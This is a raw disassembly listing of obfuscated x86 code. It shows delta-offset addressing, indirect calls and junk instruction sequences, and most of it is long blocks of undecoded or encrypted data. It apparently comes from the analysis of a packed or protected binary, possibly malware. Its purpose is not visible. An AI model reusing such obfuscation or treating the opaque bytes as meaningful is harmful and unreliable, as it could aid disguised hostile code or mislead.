		mov	eax, 8B509CA8h
sub_587F3F	endp ; sp-analysis failed

		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	[ebp+7E94219h],	eax
		push	4
		push	0A4EBD615h
		add	dword ptr [esp], 5B1439EBh
		mov	eax, [ebp+7E94225h]
		add	eax, 1F4h
		shl	eax, 2
		nop
		push	eax
		nop
		push	0
		call	dword ptr [ebp+7E94219h]
		mov	[ebp+7E9421Dh],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+7E920A1h]
		mov	eax, ebx
		call	dword ptr [ebp+7E920A1h]
		jmp	loc_588130
; ---------------------------------------------------------------------------
aGBs		db 'ƒ½!Bé',7,0
		db 0Fh,	85h, 1
		dd 0C3000000h, 1DBD8B57h, 0AB07E942h, 421D8583h, 5F0407E9h
		dd 21BD83C3h, 7E942h, 1850Fh, 60C30000h, 421DAD83h, 8B0407E9h
		dd 0E9421D9Dh, 0FC7B8307h, 26850FFFh, 0E8000000h, 4, 8000h
		dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 421595FFh
		dd 0C36107E9h, 26E9h, 4E800h, 80000000h, 8B500000h, 8B042444h
		dd 24448900h, 6A5804h, 95FF33FFh, 7E94215h, 421DAD83h
		dd 0E90407E9h, 0FFFFFF9Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_588130:				; CODE XREF: sub_587F3F+B7j
					; sdfs____:00588095j
		dec	eax
		jmp	loc_588B09
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		dw 0DA05h
		dd 3BD602EDh, 0E06C7159h, 9998C1B0h, 0AAFD1E0Fh, 0BA991D82h
		dd 59158281h, 0DD12BDBEh, 0FC5805B7h, 79DD0FEDh, 0F77E7955h
		dd 8B8992E2h, 0E1F25B08h, 0B0E97EEDh, 5808968Bh, 0DD12EFB2h
		dd 0FF5703B5h, 79C70FEDh, 0E864644Ah, 95958CE2h, 0EFE64C13h
		dd 0FCDD1D86h, 4908929Ch, 9313BDFFh, 0E94303A0h, 36C116EDh
		dd 0E86A644Bh, 0ECh, 62h dup(0)
		dd 0DA050000h, 37DC0BEDh, 0F7646245h, 978291E2h, 0A2FE4C1Bh
		dd 0AFD81BC7h, 581E95CEh, 0DC01EFF0h, 0BB5202ACh, 37DD13BFh
		dd 0A56C7845h, 81D08FABh, 0EFED4B13h, 0A8CA0A94h, 37559A8Bh
		dd 0D60B9F93h, 0B7531FB8h, 35DD13EDh, 0A56F7743h, 9ED095ABh
		dd 0EFF2510Eh, 0B3D4168Ah, 5C5B8E9Ch, 0C147ABF0h, 0FA421FBCh
		dd 209312BFh, 0A5796343h, 9F9F93B2h, 0E1F25F0Eh, 48h dup(0)
		dd 0DA050000h, 38C105EDh, 0F76E7D4Fh, 8CD092E5h, 0EFF35113h
		dd 0FCCA128Fh, 531E928Ch, 0C608A9BEh, 0E91608B7h, 30DD08B8h
		dd 0EC2B7142h, 9789C1ACh, 0BCBF4C09h, 0B9CD009Eh, 3071D983h
		dd 0D202A3CEh, 0BB1A09AAh, 36DF08B8h, 0EC2B724Dh, 8A96C1B6h
		dd 0A2BF5313h, 0AED61E82h, 531AD797h, 0D615EFFAh, 0E95718AAh
		dd 36CA46B9h, 0F52B6459h, 8A978EB0h, 0B1531Dh, 61h dup(0)
		dd 0DD050000h, 79D60AA4h, 0F779794Fh, 9D8491B7h, 0EFB11F18h
		dd 0AFD01BB3h, 520987CEh, 0DE06BDF9h, 0E85704F9h, 3CD604EDh
		dd 0E4663642h, 8D8088ACh, 0AAEB5F10h, 0B2D85383h, 5C16D78Ah
		dd 0B902ADE7h, 0BC4205D4h, 37DA46BEh, 0F168734Ah, 9AD085A7h
		dd 0EFFE1E05h, 0A9CB1AB1h, 4F14D79Dh, 0D215ACBEh, 0FF5307BAh
		dd 31E746E3h, 0E32B6545h, 0D8958DABh, 0E8F1510Bh, 0B3CE5393h
		dd 5C5B9C9Ch, 0DC0AB6F0h, 1809ABh, 0E0h	dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_588B09:				; CODE XREF: sub_587F3F+1F2j
		jmp	loc_58B4E0
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		dw 9D8Bh
		dd 7E91EE5h, 31CA81FCh,	8B3BFC43h, 836160C0h, 0E918A5BDh
		dd 9750007h, 1A45BD83h,	740007E9h, 8B535013h, 1B8C0h, 9D8D0000h
		dd 7EBD670h, 585BD3FFh,	1A45BD83h, 740007E9h, 0B8535011h
		dd 1, 0D5219D8Dh, 0D3FF07EBh, 0E953585Bh, 8, 89B9C898h
		dd 1DE0BBDEh, 50006A5Bh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0BAC55451h, 5E53D47Dh, 0F2801A0Fh
		dd 6AC08B01h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 2F3DC351h, 0F9A1857h, 65B53126h
		dd 8907E91Ch, 0E91EFDBDh, 1BD8307h, 7E90Ch, 1CD840Fh, 9D030000h
		dd 7E91B45h, 2F659D8Bh,	0BD8307E9h, 7E90999h, 0B4840F00h
		dd 8B000001h, 0E91CA995h, 0BF0F6007h, 99858BD1h, 6607E909h
		dd 2C97E281h, 3E805h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 39DC68C2h, 6A52B1C4h
		dd 0B2422BBh, 0A3B7900Ch, 7E85650h, 0E9000000h,	7CBCDA8Eh
		dd 9E90616h, 0DD000000h, 0C62E3603h, 6483EC34h,	6A905B5Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 437DC356h, 4EB6D26Fh, 4D36858Dh, 9D3107E9h
		dd 7E925C5h, 5093B790h,	7995BF60h, 9EB361FFh, 0BE99061h
		dd 0D0000000h, 0E2DB1458h, 716CF4E4h, 858DB901h, 7E94D14h
		dd 38F0F51h, 0F000000h,	905BD3B7h, 66515250h, 0F5BD08Bh
		dd 0AE931h, 546F0000h, 8BFA5B4Bh, 0BECAE279h, 6650585Ah
		dd 90CA76BAh, 2858D29h,	95FF07E9h, 7E90AD5h, 2F4D9523h
		dd 0C48307E9h, 52006A0Ch, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 2B84343Eh, 0D9D8B3Eh
		dd 8D07E90Fh, 0E94D1485h, 799D8B07h, 5007E91Ch,	0C880Fh
		dd 8C0F0000h, 6, 310F5250h, 489585Ah, 52006A24h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 91548D64h, 0D2976ACEh, 0BF0F8D8Eh, 8B026AD3h, 1495FFDAh
		dd 6A006AEDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 904EC352h, 66E43BA9h, 0E861D98Bh
		dd 0Fh,	2D486519h, 50B09A8Bh, 345F8673h, 8B93F877h, 0E9169D9Dh
		dd 81665A07h, 0C78018EAh, 0E94D4785h, 107h, 9D095700h
		dd 7E90A2Dh, 0BB66965Bh, 6050A2FAh, 5F616057h, 61DE8B66h
		dd 55006A96h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 14A43B69h, 0E9FC7337h, 0Ah, 0D8094D0Bh
		dd 3CDF60D6h, 0D4BBD640h, 890999AEh, 0E94CF8B5h, 0D9BF0F07h
		dd 1B69BD83h, 0F0107E9h, 4485h,	6880F00h, 89000000h, 0E92EB9BDh
		dd 5F88307h, 2F850Fh, 0F3810000h, 33435D1Ch, 0B8F9h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 9C0363C3h, 1739A1A3h, 15BD834Ah, 7E91Ah, 1A840Fh, 85010000h
		dd 7E91509h, 79850960h,	0FF07E910h, 0E91A1595h,	8D8D2907h
		dd 6107E918h, 0B1DBD83h, 0F0007E9h, 1084h, 0F2816600h
		dd 0B859D7h, 3000000h, 0E90A859Dh, 89606007h, 0E91BB1B5h
		dd 6880F07h, 9000000h, 0E91C61B5h, 0F7806107h, 75858BB3h
		dd 6A07E908h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0CA87C351h, 69331021h,	7D9D2B93h
		dd 8907E90Fh, 0E907F9B5h, 2C08307h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 86C35343h, 28EC2B22h, 12759589h
		dd 0BB6607E9h, 8589CCF6h, 7E94CF0h, 1FF28166h, 0FF00C660h
		dd 11E8h, 16175500h, 2BED2EBFh,	6F5EB301h, 4EC3A787h, 0AE91435h
		dd 8A000000h, 19D1BE30h, 67FCFA12h, 85C65AD6h, 7E92659h
		dd 998D2953h, 8B07E92Ah, 0E919CD95h, 0FF686807h, 830FB811h
		dd 8, 2800Fh, 5BB60000h, 70240481h, 2B449F49h, 0E9266D95h
		dd 10E95107h, 43000000h, 0F77F642Dh, 88670EAAh,	40D4EC77h
		dd 5AB5D8FEh, 0B11B5FFh, 8DF907E9h, 0EC9FDB85h,	0F505307h
		dd 85h,	0FF5B5A00h, 0CE9D0h, 0B9640000h, 47A9E4ADh, 36D9F028h
		dd 85892FB4h, 7E90C31h,	17F9958Bh, 0BD8307E9h, 7E92625h
		dd 9E850F01h, 66000000h, 96F4EA81h, 659D3161h, 0C607E911h
		dd 0E9265985h, 958B4507h, 7E90075h, 3F027668h, 6E9CAh
		dd 0A7390000h, 2D5E41D5h, 4C240481h, 66102136h,	0B5FFDF8Bh
		dd 7E90B11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0F6C35343h, 7D9EB87Dh, 0DF8B09D0h, 9FDB858Dh, 858907ECh
		dd 7E9258Dh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 19A9CEC3h, 0CA8E59BAh, 6A2872h
		dd 19198509h, 0D0FF07E9h, 2CEA8166h, 0CDBD8351h, 107E925h
		dd 124850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8BD203C3h, 0E92AC59Dh, 75858B07h
		dd 0B307E908h, 6DE914h,	28BB0000h, 503DAE04h, 19800F60h
		dd 0E9000000h, 14h, 5D639F9Ch, 41F204D7h, 1D343D5Dh, 604D4099h
		dd 0ECD80FECh, 58B0Fh, 0CFBE0000h, 6176647Eh, 66240489h
		dd 0ECFEF381h, 0B529146Ah, 7E91199h, 0C3195FFh,	0BB6607E9h
		dd 6A58C38Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 4AC356h, 808BDD6Ch, 850F0038h
		dd 0FFFFFF8Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0D2C35242h, 2C8061B3h, 2AB99D01h, 6E807E9h, 0B9000000h
		dd 0E61B9B0h, 0D28160ECh, 2C038106h, 11E8h, 0D1B63F00h
		dd 0C9B553C1h, 0AA0E771Ah, 8DC94E4Fh, 615E8EE7h, 100C65Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A8C35040h
		dd 81E06F61h, 0B22E2AA4h, 1BB99D8Bh, 0E86107E9h, 7, 62449EC1h
		dd 60A7F198h, 8D0Fh, 850F0000h,	0
		dd 0BD835A61h, 7E92419h, 5E840F00h, 80000000h, 0FF6AD8DAh
		dd 0FFD7BF0Fh, 0E90C3195h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 52323534h
		dd 2098589h, 0CBE907E9h, 6AFFFFFFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A059C356h
		dd 0FED45A3h, 8B66DEBFh, 1985C7D1h, 107E924h, 31000000h
		dd 0E91CED85h, 0FC858907h, 8B07E94Ch, 0E9300D9Dh, 8B665007h
		dd 240489DEh, 9D33D38Bh, 7E919C9h, 0D9BF0F60h, 6A056Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 59708AC3h, 2C892744h, 0BD8589CCh, 0F07E90Dh,	68Eh, 0C59D2B00h
		dd 8D07E92Ch, 0E94D1485h, 0BE907h, 80920000h, 0B6AA8F37h
		dd 507D1E96h, 1B750C6h,	81240489h, 0E66B4EC2h, 8DD08B3Ah
		dd 0E94D0485h, 338BBB07h, 66906645h, 0E950DE8Bh, 9, 116916Ch
		dd 4A0078F0h, 0BF0F9086h, 0CD95FFD8h, 0BB07E900h, 471B8262h
		dd 76D18D8Dh, 6E907E9h,	0D1000000h, 67E84A7Ah, 74C00BB2h
		dd 14858D11h, 5007E94Dh, 8589D1FFh, 7E94D32h, 85C70AEBh
		dd 7E94D32h, 0FFFFFFFFh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 2EC35545h, 6329EBE8h,	0B70F2D07h, 0FE9DAh
		dd 30C50000h, 0AEAFA723h, 72CE29CCh, 0E1C98A64h, 6A6108h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 383F2EC3h, 0D0DBB27Eh, 89EF9BE7h, 0E908F595h, 5985C607h
		dd 4D07E926h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	0C35545h, 7C9E6974h, 83121768h,	28A0F91h, 0B6000000h
		dd 240481AAh, 12B26491h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0E1C35242h, 5BB830B4h, 9FBA6611h, 2820FC7h
		dd 50000000h, 15B5FF5Ah, 0BA07E901h, 1AC95EFCh,	9FDB858Dh
		dd 0DA8B07ECh, 0D281D0FFh, 224F264Dh, 18C58589h, 950307E9h
		dd 7E91E09h, 265985C6h,	0B4507E9h, 0E90D9D95h, 0DA096807h
		dd 0AABB91E2h, 815E56A2h, 0B3602434h, 85891F90h, 7E923C9h
		dd 0B11B5FFh, 6A07E9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 66674CC3h, 0FE3CFD08h, 816620BCh
		dd 8D0E11EBh, 0EC9FDB85h, 258D8907h, 0FF07E935h, 0E5958BD0h
		dd 8907E90Fh, 0E9138D85h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0B3120845h
		dd 8BDCB721h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 397E6189h, 74DC3586h, 0DE9D5h, 0BC810000h
		dd 3176A44Dh, 23151B83h, 66EAABBAh, 9D8BD98Ch, 7E9227Dh
		dd 0F04C1F6h, 17884h, 3850F00h,	0F000000h, 0D8E9D0B7h
		dd 0F000000h, 68Eh, 0E5B58900h,	8B07E917h, 0E90905B5h
		dd 0CA816607h, 0C681A3FDh, 1180h, 0FDBB70Fh, 0BD83D7BFh
		dd 7E926A9h, 13850F00h,	31000000h, 0E91E719Dh, 15958B07h
		dd 0E907E90Eh, 8Bh, 3E838EB2h, 80840F00h, 0BA000000h, 65F9CFC3h
		dd 8E9h, 1434CE00h, 0ED52F287h,	16BB6067h, 6A1708DCh, 0E9958B14h
		dd 8107E90Dh, 0EE612CE3h, 3195FF7Bh, 0B707E90Ch, 6A61C4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 830398C3h, 0FFFFA5E9h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0DE904h, 0C2530000h
		dd 6EDFC278h, 2DFCC8E5h, 0C77354D7h, 106h, 0D5B58900h
		dd 8307E911h, 0E94CFCBDh, 850F0507h, 85h, 0F0D28166h, 8DB58B0Eh
		dd 8B07E913h, 64B9D7h, 9D090000h, 7E90261h, 31059D8Bh
		dd 3E8007E9h, 0A840FE8h, 0E9000000h, 12h, 8B66D38Bh, 57E80D0h
		dd 3F840FC2h, 0F000000h, 0B646D3B7h, 850F49F7h,	0FFFFFFD6h
		dd 11E860h, 0AF930000h,	54B2A13Ah, 0D82538ACh, 58119882h
		dd 31773E1Fh, 0E90FBD9Dh, 0F605807h, 82h, 2CB96600h, 0E96161CDh
		dd 0Dh,	0B589DE8Ah, 7E91245h, 2EC252BBh, 99BB5831h, 83087A4Bh
		dd 0E90731BDh, 840F0007h, 103h,	11A59D8Bh, 816607E9h, 60C3AED3h
		dd 295060F9h, 0E921B9B5h, 9D095B07h, 7E91BE1h, 5985C661h
		dd 5407E926h, 0AE8h, 0DD133000h, 5E4E4AD8h, 66311D1Ch
		dd 5AFEDEBBh, 64F66468h, 0CE9D0h, 0DDDF0000h, 9AC5744Ch
		dd 5E68C42Ah, 3481A2B6h, 2A489024h, 53006A2Fh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0C21F4CAEh
		dd 0FBFBDCCh, 0B5FF0475h, 7E90B11h, 0DDBD8B60h,	8107E90Ch
		dd 9265BC2h, 6E9617Bh, 85000000h, 0C85ADBACh, 0DB858DEBh
		dd 6607EC9Fh, 58FBDB81h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 892F8FC3h, 6F99B2A4h
		dd 61F98B60h, 1BD19D89h, 6A07E9h, 7E960h, 489B0000h, 30EB0133h
		dd 0ADBD8BE9h, 6107E91Ah, 731B5FFh, 0BD3107E9h,	7E91CC5h
		dd 958BD0FFh, 7E91D19h,	0F1950961h, 0C707E911h,	0E91C2D85h
		dd 107h, 60D78B00h, 9AFBF281h, 0A86831AAh, 50C6DF3Ch, 8A310F52h
		dd 81585AFEh, 0C3D82404h, 6A3920h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 2A0B0CC3h, 8480C98Bh
		dd 8B1EC877h, 0E903199Dh, 8BFF6A07h, 0E90A459Dh, 1595FF07h
		dd 6607E90Ch, 0C23DEA81h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 8224C287h
		dd 0B0B931ECh, 219D23B9h, 9007E922h, 0B587BA66h, 850F6050h
		dd 4, 0F92DBF66h, 109DBE52h, 615A437Eh,	6D958B90h, 8B07E91Bh
		dd 0E91EF185h, 12E95207h, 0E6000000h, 74CE5304h, 4E0BD00Fh
		dd 12B68E4Dh, 0CF60E681h, 0C00B5AD2h, 57840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 241D61C3h, 0C25EDC97h, 0DA8B7ED5h, 18CD95FFh, 6A07E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D9ECEAC3h, 0CDBC012Ah, 92BE380h, 0E90FA59Dh, 0E985C707h
		dd 107E923h, 8A000000h,	85BD83D1h, 7E910h, 0B840Fh, 95FF0000h
		dd 7E91559h, 4B1313BAh,	0F5BD8357h, 7E92Ah, 2F840Fh, 0B70F0000h
		dd 4195FFD3h, 6A07E926h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 8448C356h, 39B6D77Fh
		dd 0B7E7B40Eh, 0D1BD83EAh, 7E91Dh, 3A840Fh, 8B570000h
		dd 0BD835AD6h, 7E909A9h, 29850F00h, 81000000h, 0CA94E0CBh
		dd 0E995FF3Bh, 0E807E914h, 11h,	86627234h, 0B8D62068h
		dd 622B7811h, 9D46F645h, 0F58D89F4h, 5B07E921h,	317DBD83h
		dd 0F0007E9h, 3D84h, 81B4B200h,	0E911F985h, 400307h, 7E800h
		dd 3A1B0000h, 15707605h, 0B19D8BAAh, 5A07E919h,	20F58581h
		dd 400307E9h, 8C0F0000h, 0Eh, 558D2360h, 8907E92Eh, 0E9208185h
		dd 310F6107h, 8DD9B70Fh, 0E95B918Dh, 0C1858907h, 8907E92Ch
		dd 4D958B01h, 3307E92Eh, 0EE9C2h, 1A60000h, 80EC63E0h
		dd 518F4481h, 6CC51EAEh, 6A044189h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 6E7DC352h, 0FEE6CDBh, 0DE8BD1BFh,	0D9BB310Fh
		dd 8D3B806Fh, 0E95BAE8Dh, 189F507h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 30C35343h, 985314Fh, 3307E91Ah
		dd 0D7B70FC2h, 0BA044189h, 446AC733h, 11C1BD89h, 0BD8307E9h
		dd 7E90A31h, 31840F00h,	80000000h, 95FF22C3h, 7E93131h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 66C35545h
		dd 0B74EA44h, 0EC2F2C52h, 0DE8B66ACh, 1EB9BD83h, 0F0107E9h
		dd 6D85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0BBBC2781h, 6F59D23h, 43E907E9h
		dd 29000000h, 0E9166195h, 0D8B58B07h, 0C707E95Ch, 6, 0E7B58B00h
		dd 0C707E95Ah, 6, 6ACF00h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 33EB3EC3h, 0E9219595h
		dd 0BD83F807h, 7E923E9h, 1A840F00h, 0F000001h, 687h, 0C98D8900h
		dd 8307E91Fh, 0E9031DBDh, 850F0107h, 0EEh, 8D8BDF8Bh, 7E94CF0h
		dd 19799531h, 1C607E9h,	0AD9D8B00h, 6007E922h, 1CBBB66h
		dd 0C37B068h, 13E842h, 30A70000h, 2E3EA4D5h, 0A15BE87Eh
		dd 0C0F19B81h, 4CE9E007h, 34815B20h, 0C373024h,	5880F42h
		dd 66000000h, 1860EB81h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 21DD32C3h, 0BE470FA1h
		dd 9589803Eh, 7E91C41h,	1C719D8Bh, 95FF07E9h, 7E90C15h
		dd 0EE9h, 6AED6700h, 0B4AC1034h, 0F96191Dh, 610A10E2h
		dd 0FE9h, 0D172200h, 71F845C4h,	771DA55h, 0CF3457DBh, 107595FFh
		dd 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B67F1DC3h, 0E7DC0E11h, 4CF08D8Bh, 0E28107E9h
		dd 1CEA52B9h, 9D0301FEh, 7E922B5h, 1EB59D89h, 0BD8307E9h
		dd 7E91D95h, 6850F01h, 29000000h, 0E922B5B5h, 6AC08B07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 4988C352h, 589A6326h, 1337B4DEh, 18A5BD83h
		dd 750007E9h, 45BD8309h, 7E91Ah, 53501A74h, 858BC08Bh
		dd 7E911F9h, 11F98589h,	9D8D07E9h, 7EBD7CEh, 585BD3FFh
		dd 1A45BD83h, 740007E9h, 8B535018h, 0E911F985h,	0F9858907h
		dd 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 294BD2C2h
		dd 35BD8960h, 0E807E934h, 10h, 15FA05B6h, 0B33CA06Ch, 25C2DABh
		dd 0B1E75626h, 84D8D8Bh, 615B07E9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 1CC35545h, 4B48635Ch, 0D89017CFh
		dd 0DE887h, 0C0EA0000h,	959ADE86h, 817D295Dh, 0E9EBD95Fh
		dd 0Eh,	0B8F1E98h, 943E6A6Fh, 0F59E8063h, 295B509Eh, 0E90961B5h
		dd 81C08B07h, 9CE847E2h, 9D89575Bh, 7E90F75h, 0E9BD835Bh
		dd 7E923h, 25850Fh, 8B570000h, 0BD835ADAh, 7E923F1h, 14840F00h
		dd 0E9000000h, 0Fh, 6DF3F70Eh, 3C0A1E2Dh, 0DBB90A5Dh, 83010CD1h
		dd 0E923E9BDh, 840F0007h, 40h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 9C35747h, 0AF06117Eh, 0F3CC9857h
		dd 8321B290h, 0E917C1BDh, 840F0007h, 0Ch, 30599589h, 0B58907E9h
		dd 7E90E51h, 23E9BD83h,	0F0007E9h, 1884h, 3903BA00h, 0BD830CF8h
		dd 7E917C1h, 6840F00h, 8B000000h, 0E919A195h, 0E9BD8307h
		dd 7E923h, 17840Fh, 0BA660000h,	0BD835717h, 7E90165h, 6840F00h
		dd 89000000h, 0E9195DB5h, 0E9BD8307h, 7E923h, 7A840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 7CC47EC3h, 0F4A230DEh, 8D0FC712h,	15h, 10E9h
		dd 985B9100h, 0FBFA2B50h, 0C38BD495h, 3C2F452h,	0C9BD832Dh
		dd 7E91Ch, 2E840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 150424h, 52420000h, 0B694DC3h, 0E924619Dh
		dd 9195FF07h, 6607E929h, 42B4CA81h, 0A8B6C08Bh,	18A5BD83h
		dd 750007E9h, 45BD8309h, 7E91Ah, 53501A74h, 858BC08Bh
		dd 7E920F5h, 20F58589h,	9D8D07E9h, 7EBD835h, 585BD3FFh
		dd 1A45BD83h, 740007E9h, 8B535018h, 0E920F585h,	0F5858907h
		dd 8D07E920h, 0EBD4D69Dh, 5BD3FF07h, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BF0FD321h
		dd 53C08BD7h, 835AD58Ah, 0E923E9BDh, 840F0007h,	450h, 13BD8D89h
		dd 0BD8307E9h, 7E92625h, 4E840F02h, 0E9000000h,	9, 0D8FD4CF4h
		dd 0A0E1F16Ah, 0B9BD839Bh, 107E91Eh, 33850Fh, 60600000h
		dd 12E8h, 0B7A0AD00h, 0B01C437Ch, 5A5DCC62h, 21991CBAh
		dd 58592B05h, 11E9h, 0D076A500h, 2A4F4688h, 192F5F27h
		dd 0C3201B10h, 0F8615111h, 6A6061h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 27F118C3h
		dd 0B70F9A6Ch, 0F08D8BD1h, 6A07E94Ch, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 90EEC355h
		dd 801F2509h, 1FEA7C7h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0E8C35343h, 6E9FF160h, 0F28166A5h, 8509820Dh
		dd 7E93121h, 4E8h, 8000h, 0AE900h, 0D0760000h, 2A4F4688h
		dd 192F5F27h, 3717BB50h, 448B1608h, 0DE8B0424h,	8E9008Bh
		dd 0D3000000h, 0FDEE29ACh, 89AC2A32h, 0B7042444h, 0FF6A585Fh
		dd 25F9958Bh, 95FF07E9h, 7E90C15h, 1C51958Bh, 896107E9h
		dd 0E92EC9B5h, 59BD8D07h, 8B07E92Dh, 850F1C4Fh,	1, 8B016AFCh
		dd 0E92FA99Dh, 66609107h, 662B08B9h, 61A1D4B8h,	50525050h
		dd 0F4FB652h, 0F585A31h, 91585A31h, 8DF5E280h, 0EC674D85h
		dd 53D0FF07h, 5081EB81h, 8B5A621Fh, 0EF80204Fh,	6A036A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 3EC5C350h, 8940045Dh, 0E909A59Dh,	5063B607h
		dd 89D98B66h, 0EE9240Ch, 61000000h, 71EACB4Eh, 0DA9997B7h
		dd 69D55FEDh, 6850F5Dh,	8B000000h, 0E923ED95h, 4D858D07h
		dd 0F07EC67h, 583h, 0F73DBA00h,	0D0FF72D5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 94C35747h, 6A33FBD8h
		dd 0FC3BE15Ah, 0EDEA81D6h, 8D77AB4Eh, 0E92D59BDh, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0D48170C2h, 50DA8B60h, 0EE8h, 1CB91500h, 0AB1FEB46h
		dd 6E532419h, 591929D1h, 8589615Fh, 7E923EDh, 891C4F8Bh
		dd 0E9235585h, 0E9016A07h, 8, 41BA7177h, 81EFBD5h, 50D88A91h
		dd 6A91F48Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0D3BBC351h, 269958Bh, 858D07E9h
		dd 7EC674Dh, 34A9BD09h,	9D8907E9h, 7E92605h, 0AE9D0FFh
		dd 0CA000000h, 45215937h, 0FF958C33h, 204F8B8Fh, 1F51B589h
		dd 36A07E9h, 11E8h, 0B4F12700h,	0A2ACB600h
		dd 1828FF18h, 87250165h, 0D281263Dh, 60DD1ECh, 0D88B665Ah
		dd 0E8605150h, 0Bh, 5C8CAC88h, 8F045273h, 5F5B0511h, 5B616160h
		dd 89240C89h, 0E92461B5h, 4D858D07h, 6A07EC67h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 835CC355h, 66755694h, 0F4EEE281h, 0EE9h, 8D954A00h
